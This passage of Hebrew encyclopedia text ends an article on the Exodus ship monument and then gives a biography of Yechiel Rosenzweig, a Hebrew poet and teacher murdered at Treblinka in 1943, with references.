nation”. שמו של הפסל מופיע על צידה השמאלי של האנדרטה בחלקה התחתון. מדיה וקבצים בנושא אנדרטת אוניית המעפילים אקסודוס בוויקישיתוף "גאה שזכיתי לגדל בארץ ילדים לתפארת", באתר ערוץ 7, 18 ביולי 2017 יואב איתיאל, אחרי 70 שנה: נחנכה אנדרטה להנצחת ה"אקסודוס", רדיו חיפה, 18 ביולי 2017.
יחיאל רוזנצוויג

יחיאל רוזנצוויג (בפולנית: Jechiel Rozencwajg; 1895 – 1943) היה מורה ומשורר עברי יהודי-פולני. יחיאל רוזנצוויג נולד בשנת בבלחטוב שבאימפריה הרוסית (כיום בפולין), לצבי, חזן בבית כנסת מקומי, ולמטל. יחיאל היה משורר עברי ידוע ברחבי פולין, ופרסם מספר יצירות בעיתון היהודי "הצפירה" ובעיתונים נוספים. בנוסף, יחיאל לימד מספר שנים בגימנסיה הדו לשונית לבנים בלודז' שפתח וניהל מרדכי ברוידא ב-1912. בשנת 1908, כאשר יחיאל היה בן 13, פרסם לראשונה את השיר "לא בהיכלי מלכים" תחת השם י. ענף שושן בעיתון "הצעיר" שהתפרסם בפולין. יחיאל, אשתו הלה ובנו זאב נשלחו לגטו ורשה, שם התגוררו ברחוב נובוליפקי. יחיאל המשיך בפעילותו ללימוד השפה העברית גם בגטו. במהלך מרד גטו ורשה, יחיאל ומשפחתו הועברו למחנה ההשמדה טרבלינקה, שם נרצח בשנת 1943. יחיאל היה מיודד שנים רבות עם המשורר המפורסם יצחק קצנלסון והכיר אותו במסגרת החוגים הספרותיים בלודז' ובוורשה שבהם הרבה להשתתף. יחיאל רוזנצויג, ישראל פיבישיס, לפי עוללים, ועד ההורים של הגמנסיה לנערות מיסוד החברה לבתי ספר עבריים, 1936. יחיאל רוזנצויג, שירי ילדים, שפרירים, תרפ"א. נורית גוברין, קריאת הדורות - ספרות עברית במעגליה, כרך ב', גוונים, 2002. אלחנן אינדלמן, אודים, לקט דברי סופרים עברים, כרך א', עוגן, תש"ך. יצחק קצנלסון, כתבים אחרונים - בגיטו ורשה ובמחנה ויטל, בית לוחמי הגיטאות, 1988. מדיה וקבצים בנושא יחיאל רוזנצוויג בוויקישיתוף יחיאל רוזנצוייג, באתר זמרשת יחיאל רוזנצויג, "הרצל", הצפירה, 16 ביולי 1920